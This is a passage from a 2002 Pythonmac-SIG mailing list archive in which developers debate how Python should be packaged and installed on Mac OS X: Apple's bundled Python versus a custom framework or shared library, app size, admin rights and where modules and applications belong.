If the app requires some other component to be installed first, it'll 
seriously decrease the potential user base.   Most user's won't 
bother-- even if they do know how to go about finding and installing 
the appropriate components-- going through the trouble of doing so.   
Likewise, if the app is too bloated -- 20+MB for a simple note pad or 
RSS reader -- they aren't going to bother downloading and installing 
the thing, even with broadband.

As such, making sure that our lowest common denominator is the Apple 
installation of Python has a huge advantage in that I can ship a 500k 
application that happens to be implemented in Python-- though the end 
user won't know it-- instead of a 6+MB application and I can ship said 
application such that the installation doesn't require more than the 
ability to drag-n-drop to install.   No admin password.  No installer.  
Can be used by anyone.

This is exactly how PyObjC works.  Currently, because of the way the 
Apple python works, the launch times of the apps are slower than they 
should be.    However, I'm willing to bet that I would lose more users 
if it were 5mb vs. the 500k it is now or if it required the user to 
install some random package that required admin rights to install...

None of this is to say that effort should not be expended on a custom, 
standalone, python environment that can be installed that is 
significantly more capable than Apple's installation -- but, if that 
decision is made, it must be made with full  awareness of the change it 
implies regarding the target audience/consumer/customer/user.

b.bum

On Wednesday, October 23, 2002, at 03:23 PM, Alexandre Parenteau 
<alexp@strata.com> wrote:
> So augmenting the so called "Apple installation" has no appeal for me. 
> I
> would rather have *one* installation, which can extend beyond the 
> command
> line. And Apple will probably use it.



From just@letterror.com  Wed Oct 23 21:06:10 2002
From: just@letterror.com (Just van Rossum)
Date: Wed, 23 Oct 2002 22:06:10 +0200
Subject: [Pythonmac-SIG] Re: Apple's install vs. a custom install of Python
In-Reply-To: <BF4A66A7-E6C0-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <r01050400-1021-E3F5038EE6C211D6B44F003065D5E7E4@[10.0.0.23]>

Bill Bumgarner wrote:

> As such, making sure that our lowest common denominator is the Apple 
> installation of Python has a huge advantage in that I can ship a 500k 
> application that happens to be implemented in Python-- though the end 
> user won't know it-- instead of a 6+MB application and I can ship said 
> application such that the installation doesn't require more than the 
> ability to drag-n-drop to install.   No admin password.  No installer.  
> Can be used by anyone.

That's great, but has the risk of breaking the app if you upgrade your system. I
prefer to ship some bloat. A small to medium sized (CFM) MacPython app can be
around 3-5 megs unstuffed, 1-1.5 megs stuffed. I don't think that's all that
bad. (I don't know if we can get the same footprint with a framework-based .app
bundle, but it should come close after stripping the binaries.) OTOH, I guess it
depends on your audience how big a deal a larger footprint/download is.

Just


From fancher@pacbell.net  Wed Oct 23 21:08:12 2002
From: fancher@pacbell.net (bill fancher)
Date: Wed, 23 Oct 2002 13:08:12 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <B9DC4479.867F%alexp@strata.com>
Message-ID: <2870D9BB-E6C3-11D6-BA05-0005029E8B13@pacbell.net>

On Wednesday, October 23, 2002, at 12:20  PM, Alexandre Parenteau wrote:

> Hi,
>
> Let me point out something, and I don't really answer that to bill, 
> but in
> relation to the thread : we don't have to deal or worry with Apple's
> installation of python. Python is not a critical, or even Apple 
> component
> for Apple. Whatever we'll find useful, they'll probably use.

I'd like to be able to distribute stuff that uses Python. I don't want 
to have to tell users they need to install another version of Python 
first, or go through some other song and dance to use my stuff. (Though 
it's regrettably necessary at present.)

> So augmenting the so called "Apple installation" has no appeal for me. 
> I
> would rather have *one* installation, which can extend beyond the 
> command
> line. And Apple will probably use it.

The point is, do we fix Python going forward and patch the existing 
install, or work around deficiencies in the current install and then 
fix things again (in some different way) for the next version when the 
deficiencies presumably no longer exist, or just live with the 
sub-optimal fix forever?

> I was quite happy with the current direction, so I fail to understand 
> why
> Frameworks are not good anymore (independently of really needing it for
> embedding).

You just need a library for embedding. It doesn't much matter where it 
lives. There is no library in the 10.2 Python installation. Frameworks 
have nothing to do with it.

OTOH, there's much to be said for maintaining the standard installation 
scheme so that the MacPython stuff can be easily grafted on to existing 
Python installations. I've long advocated using a framework to do the 
grafting.

>  Keeping the nice integration to the mac is the critical point, I
> would argue, and whether we use frameworks or dylib is not relevant to 
> me.
> But whatever replaces the current scheme has to be better for applets, 
> IDE
> and other mac specific goodies in my mind.

NO ONE's advocating degrading anything. NO ONE has suggested anything 
that would make things WORSE.

--
bill

> Thanks,
> Alex.
>
>>
>> On Friday, October 18, 2002, at 02:09  PM, Jack Jansen wrote:
>>
>>> Hello folks,
>>> after arguing myself blue in the face for the last year and finally
>>> convincing the majority here that Frameworks Are A Good Thing
>>
>> I wasn't convinced, I deferred.;-)
>>
>>>  I feel the time has come to reverse my position. Or, at least, I'm
>>> not as convinced as I was. And I think I can see advantages with 
>>> going
>>> non-framework. Or at least keeping both options open. I don't know,
>>> just read on and comment, please.
>>>
>>> The framework option has the following advantages:
>>> 1. Easy installation and de-installation, everything lives in
>>> /Library/Frameworks/Python.framework or /Applications/Python.
>>> 2. Allows us to do applets (such as the IDE) without duplicating big
>>> binaries.
>>> 3. Allows us to do "pythonw" and "PythonLauncher": running Python
>>> scripts with a GUI that appear normally in the dock, etc.
>>> 4. Allows us to share a single Python engine between Python and all
>>> embedders of Python (such as the Python OSA component).
>>>
>>> I think we can do an architecture without frameworks that will allow
>>> us to do all of these except 4.
>>
>> Embedders are hosed with the Apple installation from the start. 
>> There's
>> no libpython.a, let alone a libpython.dylib. We should provide a
>> libpython.dylib for the present, and make it part of the default
>> installation in 2.3. Then all the problems with big executables go
>> away. Embedders are happy. And we won't have to continue providing it
>> once it works its way through channels and Apple starts distributing 
>> it
>> with the OS. More importantly, we don't have to redo the applet
>> architecture (either now or to change it back to take advantage of
>> shared libraries in the future.)
>>
>>> To start we build on the existing Apple-installed /usr/bin/python (or
>>> any other pre-installed Python, from fink or whereever). So, our
>>> MacPython-OSX installer does not necessarily include Python itself.
>>
>> But it should include the library that went missing somewhere along 
>> the
>> way. Again let me stress that that is version specific, and it
>> addresses a deficiency in the current Apple installation.
>>
>>>  This gives two immediate advantages: we can stuff everything into
>>> /Applications/Python (making installation and de-installation even
>>> easier) and we can do a MacPython-OSX distribution without waiting 
>>> for
>>> Python 2.3. This would give people like Walt a decent way to explore
>>> Python through the IDE, without having to learn about the unix 
>>> command
>>> line.
>>
>> You can still do that with everything but the library. And that's only
>> in 2.2. After that, everything is once again in /Applications/Python
>> (or in Library/Frameworks).
>>
>>> Applets we do with a two-stage approach. First, each applet will have
>>> a symlink Contents/MacOS/python pointing to /usr/bin/python. Second,
>>> the main binary of the applet .app bundle (CFBundleExecutable) will 
>>> be
>>> Contents/MacOS/runapplet. This is a small program that finds the
>>> applet file and calls ..../Contents/MacOS/Python with the applet code
>>> as argv[1]. The rest of appletrunners args are also passed through.
>>> This is the bit that needs to be tested, but I think that if we do
>>> things this way the final executable will have an argv[0] that points
>>> into the .app bundle, and thereby the window services initialization
>>> code will work.
>>
>> This would probably work, but is unnecessary with a shared library.
>>
>>> "pythonw" is now easy: we can just use the Contents/MacOS/python from
>>> any applet. We could use the PythonIDE, but as that would give every
>>> running Python GUI script the IDE icon in the dock it may be nicer to
>>> put an empty applet PythonW.app into
>>> /Applications/Python/PythonIDE.app/Contents/Resources.
>>>
>>> PythonLauncher basically doesn't change.
>>>
>>> A last issue is where we put our nifty Mac modules (that are now in
>>> Mac/Lib inside the framework, plus _waste.so and anything else that 
>>> we
>>> need and that's missing from the 2.2 that Apple distributes). One
>>> option would be to install them into
>>> /usr/lib/python2.2/Lib/site-packages. A possibly nicer option would 
>>> be
>>> to also put them somewhere in Contents/Resources of the IDE, and put 
>>> a
>>> MacPython.pth file into site-packages.
>>
>> I agree with the .pth file in site packages, but worry about putting
>> all the MacPython stuff in PythonIDE. What if someone trashes it? ("I
>> don't want to develop Python apps, so I don't need this big fat
>> application...") All the MacPython dependent stuff is suddenly broken.
>>
>> With a shared library, you can dress the whole thing up as a framework
>> and put the Mac specific stuff there. Once Apple starts distributing
>> the shared library, EVERYTHING gets installed in "user friendly
>> places", i.e. in /Library/Frameworks or /Applications/Python. In the
>> meanwhile, we've got a left-over shared library in /usr/lib/python2.2.
>>
>> OTOH, you can delete any app without trashing any other app, since
>> everything we install, or subsequently create, links against the 
>> shared
>> library. And trashing the framework breaks them all, as expected.
>>
>> --
>> bill



From cjl@physics.otago.ac.nz  Wed Oct 23 21:07:48 2002
From: cjl@physics.otago.ac.nz (Chris Lee)
Date: Thu, 24 Oct 2002 09:07:48 +1300
Subject: [Pythonmac-SIG] Re: lets do it really different | let's not and say we did.
In-Reply-To: <EMEHPJBEEDANCBAA@mailcity.com>
Message-ID: <1A6580FE-E6C3-11D6-8749-0003937807FC@physics.otago.ac.nz>

I'm usually a lurker on this list, I'm not a developer I merely use 
Python for rapid numerical prototyping and some analysis.

I have to say that in some ways you are wrong.  I loathe the terminal.  
I use it every day but I loathe it (so much so that I am spending 
sometime trying to write an app that allows me to avoid it for the most 
part) until last year the only thing I could do was open the terminal 
but I have been using python for about 3 years (I think) so 2 is false

What you are bending over backwards to do is provide accessibility and 
it is never stupid for software developers to do that.  What is stupid 
is to imply that you user base is a bunch of elitists who don't mind 
doing things *The right way* and doing a release which alienates those 
users who migrated from OS 9 and have bugger all experience with UNIX 
(and don't really want to).

I'll shut up now :)
Cheers
Chris

On Thursday, October 24, 2002, at 12:41  AM, kevin parks wrote:

>
>
> 1. UNIX and the terminal are not some kind of diseased thing to be 
> avoided at all costs.Python has a long unixy hertitage that is nothing 
> to be ashamed of, just see how proud linux users are despite it's 
> rough edges. It's powerful, like OS X is. OS X is not OS 9 and is 
> never going to be (if we are lucky).
>
> 2. Anyone savvy enough to be writing python scripts is smart enough to 
> open the terminal and type % cd /usr/local/bin ; ls
>
> I think that we are bending over backwards to do something really 
> unimportant here.
>
> repeat after me: Unix good, csh powerful, OS 9 goodbye
> Unix good, csh powerful, OS 9 goodbye
>
> Unix good, csh powerful, OS 9 goodbye
>  ....
>
>
>
>
>
>
> ____________________________________________________________
> Get 250 full-color business cards FREE right now!
> http://businesscards.lycos.com
>
> _______________________________________________
> Pythonmac-SIG maillist  -  Pythonmac-SIG@python.org
> http://mail.python.org/mailman/listinfo/pythonmac-sig
>
>
#################################
Chris Lee
Physics Department
Otago University
PO Box 56
Dunedin
New Zealand
Phone ++64 3 479 7749
Fax ++64 3 479 0964
#################################



From Chris.Barker@noaa.gov  Wed Oct 23 19:37:16 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 23 Oct 2002 11:37:16 -0700
Subject: [Pythonmac-SIG] Re: Apple's install vs. a custom install of Python
References: <BF4A66A7-E6C0-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <3DB6EC5C.8C872721@noaa.gov>

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From kp87@lycos.com  Wed Oct 23 21:26:58 2002
From: kp87@lycos.com (kevin parks)
Date: Wed, 23 Oct 2002 16:26:58 -0400
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <ONBCIBEPGOMOCBAA@mailcity.com>

>> Nor are they something to be *expected* of people to use, not if you're 
>> aiming at the Mac user base.

I don't think that there is a single "the user" base anymore. Everybody
thinks that "the user base" are folks who are allergic to the shell and
are nostalgic for our old, dead end OS. I am not sure it will always be
that way. I am sure a significant faction (and a large percentage of
those using python) will change their habits and work much more like
NeXT users used to. Let's face it OS X is much more like NeXT than it is
like OS 9. And thank goodness for it. Sure the Mac had a more elegant
interface. Slightly better interface, but a much less powerful platform
to work on.

>> > 2. Anyone savvy enough to be writing python scripts is smart enough
>> > to open the terminal and type % cd /usr/local/bin ; ls

>> Not necessarily. Lots of people have been using MacPython on OS 9 or 
>> quite happily for some time without doing any of that.

Mostly because the couldn't i would guess. I am guessing that you
average Mac Python user in the future will be shell & Unix savvy.
Beside the terminal is a pretty cool app and *ever* mac will already
have one!

 > I think that we are bending over backwards to do something really
 > unimportant here.
 >
 > repeat after me: Unix good, csh powerful, OS 9 goodbye Unix good, csh
 > powerful, OS 9 goodbye
 >
 > Unix good, csh powerful, OS 9 goodbye ....

>> Then get a linux box, if you really believe that. People are not buying 
>> into OSX because they can get a command line, but because they can get a 
>>> command line AND a rich, well designed, deep GUI interface.

I am. I am using X because linux is a pain, i have mac hardware, and
because i loved the NeXT. I want the commandline, the dev tools, the
protected memory, the job control. Frankly, i want UNIX. OS X is flawed
and still barely out of the beta stage, but my long Mac OS system 7 to
system 9 nightmare is over. I have never restarted a machine so much in
my entire life, and having  to click get info and set how much memory to
give an app and have that app just sit on that memory when it is idle, that is
frankly just plain stupid. That is exactly the type of thing the OS is
supposed to handle for you.

>> The whole point of OSX is not to banish all that came before, but to 
>> move forward with it: witness the things (spring-loaded folders) they're 
>> still adding back.

Uh, there is just as much missing as is being added back. labels,
windowshade. Plus the "finder" is just a glorified NeXT browser, and the
dock. I mean let's make peace with it, we've got NeXTStep with
classic patched in. Personally i would like to see MacPython be more
like an adapted UNIX python than the old MacPython. It is a personal
preference i know. But it's just my 2&#162;.

>> As it stands, Python on OSX is still a rather large step *backwards* 
>> from Python on OS9, in terms of functionality and ease of use for the 
>> average 'Download the installer and double-click on it' user, and that 
>> is a necessary goal of development.

I don't see UNIX python as a large step back from MacPython. I was
always jealous of windoze, & Unix python programmers. I have a feeling
that under OS X python will no longer be so "different". Heck, we might
even get more than one IDE. I love Jack and Just and am grateful for all
the work they did (& do), but i am so glad for the new UNIX-y horizon.
You want to experience a HUGE step back? Unix to Mac OS 7.5.3.  That my
friend was like going back to the dark ages. I've waited ten years to
say this: Mac folks, you now know what NeXT users felt --banishment.

> OS-X appeals to folks that don't want to type things on the command line.

Not entirely true. Besides, i could just as easily argue that Python
appeals to people who like to use a command line. It was born there and
still reinvets itself there everytime Guido fires up his Sparcstation.

>> I envision using Python to write all
>> sorts of littel applets and scripts for my wortk, and I want to be able
>> to distribute them to my non-programmer co-workers easily. Having an
>> easy-to install Python distibution is key to this.

I never thought that OS 9 MacPython was all that easy to install, or set
up either. Wasn't impossible, but in someways OS X is already ahead of
OS 9 in this respect. If your applet requires python, OS 9 was a bit of
a hassle. OS X already comes with python and even if it didn't what is
easier than fink?

>>> repeat after me: Unix good, csh powerful, OS 9 goodbye
>>> Unix good, csh powerful, OS 9 goodbye

>> Believe me, that is my constant mantra, but if OS-X offers anything that
>> Linux doesn't, it's the "Mac experience", and people do like that.

I still think it is more like UNIX/BSD/NeXT than old mac, in both good
ways and bad (please shoot the idiot who decided windowshadding wasn't
needed, the dock sucks almost as bad as it did on NeXTStep, etc.)

Anyway, i am just going to let this drop now as i think it (*sorry*) is
not helpful or of interest to all on the list. I guess what i am just trying
to do is voice an opinion about the direction of Mac Python and argue that
Mac Python's should reflect a UNIX heritage at least as much as it shows its
drag dropping history.

sorry, i'll go away now.




____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From Chris.Barker@noaa.gov  Wed Oct 23 19:54:15 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 23 Oct 2002 11:54:15 -0700
Subject: [Pythonmac-SIG] Re: Apple's install vs. a custom install of Python
References: <BF4A66A7-E6C0-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <3DB6F057.3979932@noaa.gov>

Did I just send a blank message? oops.

Bill Bumgarner wrote:
> If the goal is merely to render the best possible Python runtime
> environment on the planet, I agree with Alex's statement wholeheartedly.

One of Alex's statements was that Apple might ship whatever it is we (or
Jack anyway :-) ) build, so we can have both the best possible Python
runtime, AND have it be a standard part of OS-X. I hope he's right!

> As such, making sure that our lowest common denominator is the Apple
> installation of Python has a huge advantage in that I can ship a 500k
> application that happens to be implemented in Python

I'm glad that works for you, but virtually everything I write makes use
of Numeric, and I make heavy use of PIL, and mxDateTime, and.... I think
one is likely to be wasting a lot of time if you write Python apps
without any additional modules, so you're going to need a good framework
in which to install those too.

Also, wonderful as PyObjC and Cocoa may be, many of us need to write
cross platform apps, and are hoping for wxPython to become robust enough
on the Mac to do it. Another HUGE package.

The result is that we need a good runtime environment that can ideally
be installed with one installer, and also can easily be added to, so
that I can say to my users: Install MacPython, then run my app, or, even
include MacPython in an installer with my App. I do want my apps to be
able to share the runtime, it will be big! I've used Py2exe on Windows
for a wxPython app, and it is absolutely huge with all the dlls.

> install some random package that required admin rights to install...

I do agree that it is best if admin rights aren't required.
 
Just van Rossum wrote:
> That's great, but has the risk of breaking the app if you upgrade your system.

This is a problem with Python on all systems, and one the Python core
developers don't seem to think is a problem, so no solution is in the
works.

On *nix, I can use the #! line to specify a Python version. On my linux
system, I have at least three versions installed (1.5.2 because RedHat
uses it, 2.1 because I have developed a large app with it, and 2.2
because I wanted to make sure it didn't break anythong before I got rid
of 2.1)

MacPython needs to be able to allow this too. There needs to be a way to
specify which version your app needs, and be able to have multiple
versions installed at once on the system. I have no idea how to handle
this on Windows, but I sure hope it won't be a problem on OS-X.

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From Chris.Barker@noaa.gov  Wed Oct 23 20:08:08 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Wed, 23 Oct 2002 12:08:08 -0700
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
References: <ONBCIBEPGOMOCBAA@mailcity.com>
Message-ID: <3DB6F398.4F710DF6@noaa.gov>

kevin parks wrote:
> Anyway, i am just going to let this drop now as i think it (*sorry*) is
> not helpful or of interest to all on the list. I guess what i am just trying
> to do is voice an opinion about the direction of Mac Python and argue that
> Mac Python's should reflect a UNIX heritage at least as much as it shows its
> drag dropping history.

Well, this did get a little flamey (is that a word?), but I think your
point is well taken, and frankly, I completely agree with your personal
preference. I never found MacPython a productive environment (mostly
because the Mac wasn't a productive environment for me). I generally
wrote my scripts on Linux, and then put them on the Mac to run them if I
needed to run them there, or give them to a colleague. I'm thrilled to
have a unixey python on OS-X. However, from what I understand, no one is
trying to take away the nice aspects of unix Python from the future OS-X
MacPython. We should be able to have a python that acts just like the
unix python on the command line, and also supports all those nice Mac
things like applets, and the IDE, etc.

This all started because some of us suggested that a Python installation
should be visible from an unmodified Finder. Is there anything wrong
with that??? It looks like we can get the best of both worlds, and I,
for one, am thrilled about that!

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From larry.bugbee@boeing.com  Wed Oct 23 21:15:33 2002
From: larry.bugbee@boeing.com (Bugbee, Larry)
Date: Wed, 23 Oct 2002 13:15:33 -0700
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <8CFC81BC2CC2A74F88BAB7180F00B779315750@XCH-NW-29.nw.nos.boeing.com>

If I'm preaching to the choir, apologies, but this has been on my mind.  

At the end of the day, the typical Mac user is going to expect simplicity,
convenience, consistency, elegance, and all that stuff.  Having two copies
of Python creates confusion especially when it comes to upgrading versions
or adding libraries.  ...and wondering which one is invoked when they launch
an app.  Not good.

These folks are not developers, most will never be, but many do poke around
and discover what is on their box.  They constitute upwards of 95% of all
the Mac users; developers are numerous but still the minority.  These users
are the ones most of us will be targeting when we write our apps.  Our apps
will have version and library dependencies.  Our users need an honest
opportunity to resolve those issues, and they expect simplicity,
convenience, consistency, elegance et al in the process.

Strive for one system copy of Python with a relatively complete set of
libraries.  *Allow* the user to also install a local copy if they want, but
in the name of simplicity, discourage it.  Most users will not only accept
that, but thank you for it.  

They need to readily know that when they need to add a library, all they
have to do is drop it onto an icon (like adding an extension in OS9).  They
need to know these things, but all this must be communicated without written
instructions.  This is what Mac users expect.

Most Mac users' manuals are still in shrinkwrap.  There is a reason why.  

Please, keep it simple... for the user!!!  Maybe 2.3 will address this... I
hope so.  

...Apple?  Are you lurking?  If you can help, please do.  

Larry

PS: I would offer that it might be nice that if a couple of copies of Python
did wind up on a user's machine, it was for the reason that they were simply
different versions (2.2, 2.3, etc) and that the Python interpreters were
smart enough to detect version dependencies and cause another interpreter to
take over.  This could simplify rollovers.  


From kp87@lycos.com  Wed Oct 23 22:18:46 2002
From: kp87@lycos.com (kevin parks)
Date: Wed, 23 Oct 2002 17:18:46 -0400
Subject: [Pythonmac-SIG] Re: Pythonmac-SIG digest, Vol 1 #1254 - 8 msgs
Message-ID: <DFLKPDMKKLPOCBAA@mailcity.com>

> One of Alex's statements was that Apple might 
> ship whatever it is we (or Jack anyway :-) ) build, 
> so we can have both the 
> best possible Python runtime, AND have it be a 
> standard part of OS-X. I hope he's right!


I sure hope so too, but isn't important to know this before hand? Are the folks who are incharge of Python builds @ Apple even watching this list and talking to Jack?

I wish that they tool as much interest in Python as they did with TCL/TK.

-kp (holding his tongue) --


____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From robin@alldunn.com  Wed Oct 23 22:43:54 2002
From: robin@alldunn.com (Robin Dunn)
Date: Wed, 23 Oct 2002 14:43:54 -0700
Subject: [Pythonmac-SIG] Doing it differently:  Module management / installation
References: <6EDAD3ED-E693-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <3DB7181A.2080200@alldunn.com>

Bill Bumgarner wrote:
> (I have been following the 'Let's do it completely different!' thread 
> with quite a bit of interest -- this is a direction that I have long 
> felt that Python on OS X should take.   I'll comment more on that later.)
> 
> On Wednesday, October 23, 2002, at 04:44 AM, 
> pythonmac-sig-request@python.org wrote:
> 
>> Maybe then what is needed is to have a Applications/Python folder, and
>> have an "Extensions" folder inside that (or Lib/site-packages, etc.)
>> that people can drop modules into. That way, Mac users can add/install
>> modules without having to interact with the Terminal or Unix filesystem.
> 
> 
> In general, there should be no requirement that anything be installed in 
> /Applications.   /Applications is Apple's domain and third parties 
> shouldn't touch it (I can't begin to tell you how much it offends my 
> security minded and multi-user aware self when a third party insists on 
> scribbling in /Applications/... many many reasons why that is just 
> stupid).   Furthermore, requiring anything to be dropped in 
> /Applications prevents any user who does not have admin rights from 
> installing the software-- basically, it eliminates the installation of 
> the software by any student using a lab computer unless the network 
> admins sanction it.
> 
> In talking extensions -- things that are not standalone applications -- 
> it should be modeled after the "standards" set forth by Apple.   That 
> is, there should be a set of search paths that are added to sys.path.  
> Most likely:
> 
> ~/Library/Python/Extensions
> ~/Developer/Python/Extensions
> /Library/Python/Extensions
> /Network/Library/Python/Extensions
> /Network/Developer/Python/Extensions
> /System/Library/Python/Extensions
> /Developer/Python/Extensions
> 

To work well with distutils these should probably be something like:

~/Library/Python/lib/python2.3/site-packages
[and etc.]

This is because when you use the --root option to the distutils install 
command it will use the given path as the $prefix and then build the 
standard directory structure under it.  This also lets a user install 
extensions built for different versions of Python.

-- 
Robin Dunn
Software Craftsman
http://wxPython.org  Java give you jitters?  Relax with wxPython!




From wddozier@mac.com  Wed Oct 23 23:04:12 2002
From: wddozier@mac.com (William Dozier)
Date: Wed, 23 Oct 2002 15:04:12 -0700 (PDT)
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <2507294.1035410652386.JavaMail.wddozier@mac.com>

 
On Wednesday, Oct 23, 2002, at 03:26PM, kevin parks <kp87@lycos.com> wrote:
>Beside the terminal is a pretty cool app and *ever* mac will already
>have one!


Or not. Isn't the "BSD layer" install optional?

Bill



From Jack.Jansen@oratrix.com  Wed Oct 23 23:16:22 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 24 Oct 2002 00:16:22 +0200
Subject: [Pythonmac-SIG] Doing it differently:  Module management /   installation
In-Reply-To: <7D7F4CCA-E6B6-11D6-9C69-00039354009A@mac.com>
Message-ID: <10234714-E6D5-11D6-9258-003065517236@oratrix.com>

On woensdag, oktober 23, 2002, at 08:37 , Mark Day wrote:
>> Agreed. however, that still begs the question as to where 
>> administrator
>> installed non-apple applications should go. Your first comment implied
>> that they shouldn't go in /Applications. On the unix side, this stuff
>> should go in /usr/local/*
>
> Quoting from the Mac OS X System Overview:
> <http://developer.apple.com/techpubs/macosx/Essentials/SystemOverview/FileSystem/
> index.html>
>
> Administrators of a computer can install resources into the 
> local domain if they want those resources to be shared by all 
> users of the system. Apple ships its applications in the 
> /Applications and /Applications/Utilities directories. Third 
> party applications and utilities should also be placed in these 
> directories.

This has always struck my as funny. Why is Applications treated 
differently than Library and all the others? The only reason I 
can think of is that this is the only one you often look at in 
the finder (and then it would be confusing if you wouldn't see 
all of your apps), but still I would have liked it if the 
architecture was more orthogonal...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Wed Oct 23 23:23:40 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 24 Oct 2002 00:23:40 +0200
Subject: [Pythonmac-SIG] Let's do it completely different!
In-Reply-To: <B9DC4479.867F%alexp@strata.com>
Message-ID: <14FA1E00-E6D6-11D6-9258-003065517236@oratrix.com>

On woensdag, oktober 23, 2002, at 09:20 , Alexandre Parenteau wrote:

> Hi,
>
> Let me point out something, and I don't really answer that to 
> bill, but in
> relation to the thread : we don't have to deal or worry with Apple's
> installation of python. Python is not a critical, or even Apple 
> component
> for Apple. Whatever we'll find useful, they'll probably use.
>
> So augmenting the so called "Apple installation" has no appeal 
> for me. I
> would rather have *one* installation, which can extend beyond 
> the command
> line. And Apple will probably use it.

I think you're probably right. I definitely *hope* you're right. 
But Apple is about 9 months behind us (for good reasons). This 
means that if Python 2.3 is released around March 2003 it will 
not be until early 2004 before all the goodies you have *RIGHT 
NOW* if you build from CVS are going to be out to the general 
public. And I think there's a window right now in which the 
leader of the pack in OSX scripting languages is going to be 
chosen. And I want that language to be Python, not RealBasic or 
Tcl or Perl or whatever else. If we could start with MacPython 
alfas around december we could have something stable out there 
much sooner.
>
> I was quite happy with the current direction, so I fail to 
> understand why
> Frameworks are not good anymore (independently of really needing it for
> embedding). Keeping the nice integration to the mac is the 
> critical point, I
> would argue, and whether we use frameworks or dylib is not 
> relevant to me.
> But whatever replaces the current scheme has to be better for 
> applets, IDE
> and other mac specific goodies in my mind.

In the long run: yes. In the short run I'd like to keep options open.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From jwblist@olympus.net  Thu Oct 24 07:06:11 2002
From: jwblist@olympus.net (John W Baxter)
Date: Wed, 23 Oct 2002 23:06:11 -0700
Subject: [Pythonmac-SIG] The unixy stuff in Mac OS X
In-Reply-To: <20021023125520.A598@bad-bart.lcp.nrl.navy.mil>
References: <20021023084401.19996.23576.Mailman@mail.python.org>
 <41C8C632-E68B-11D6-9DF7-000393877AE4@codefab.com>
 <20021023125520.A598@bad-bart.lcp.nrl.navy.mil>
Message-ID: <p05200a02b9dd3de80a3a@[192.168.1.50]>

At 12:55 -0400 10/23/2002, Lee Phillips wrote:
>And don't forget: you can drag a file or folder from the Finder onto a
>Termianl window to get the object's path typed in. That's my favorite!

And...I was happy to learn early in my use of GLTerm that the same applies
to dropping stuff from Finder into a GLTerm window.

  --John (GLTerm is in the dock here; Terminal is back hidden in Utilities)
-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From jwblist@olympus.net  Thu Oct 24 07:28:53 2002
From: jwblist@olympus.net (John W Baxter)
Date: Wed, 23 Oct 2002 23:28:53 -0700
Subject: [Pythonmac-SIG] Doing it differently:  Module management /
 installation
In-Reply-To: <6EDAD3ED-E693-11D6-9DF7-000393877AE4@codefab.com>
References: <6EDAD3ED-E693-11D6-9DF7-000393877AE4@codefab.com>
Message-ID: <p05200a03b9dd3ee5458c@[192.168.1.50]>

At 10:26 -0400 10/23/2002, Bill Bumgarner wrote:
>/Applications is Apple's domain and third parties
>shouldn't touch it (I can't begin to tell you how much it offends my
>security minded and multi-user aware self when a third party insists on
>scribbling in /Applications/... many many reasons why that is just
>stupid).

I disagree.../Applications is for anything application-like that the admin
wants to install for everyone's use.  I do agree that applications
shouldn't insist on installing themselves there--particularly if they don't
need admin powers for something else they install.  And most I've installed
with installers don't...they merely offer it as the default, which makes
sense to me.  The install-by-drag-and-drop bundled apps generally make
clear they can be put anywhere...I put them in /Applications unless I have
reason not to.  ["Everyone" is me, so far...four users.]

/Users/<user>/Applications is for apps a user wants to install for herself.
(I've been known to create a user just for the purpose of installing a new
version of something for tire-kicking, although with some developers that's
not safe because of collisions in spaces they shouldn't be colliding in.
Or installing something I haven't had before.  That user gets deleted after
the tire kicking period.)

If there were a place for Apple applications...all others keep out...it
would be /System/Applications.  Which doesn't exist.

(Actually, I see that /System is down to /System/Library and
/System/Developer VISE Moved Items...I suspect Apple isn't the creator of
that one.  Plus of course anything Finder-invisible which happens to be in
there...a quick look with GLTerm tells me that there are nearly 50 of those
things, almost all directories.)

And those of us whose network only contains one Mac OS X machine (mine also
contains a 7300 and a WinTel laptop which is often seen running Linux [the
7300 only rarely runs Linux so far], and one printer per computer) tend to
forget

/Network/Applications

(controlled by someone who doesn't necessarily have any powers over a
particular recipient of its largess).

Down the road (suggestion:  AFTER Python 2.3) we should look at making
Python and Python applets usable from a network installation.  Too much for
right now, I think, but we should try not to preclude it for later.

  --John
-- 
John Baxter   jwblist@olympus.net      Port Ludlow, WA, USA


From just@letterror.com  Thu Oct 24 10:35:01 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 24 Oct 2002 11:35:01 +0200
Subject: [Pythonmac-SIG] PyObjC calling syntax again, an idea.
Message-ID: <r01050400-1021-FCAFA130E73311D68033003065D5E7E4@[10.0.0.23]>

A while back, Jack replied to me:

[JvR]
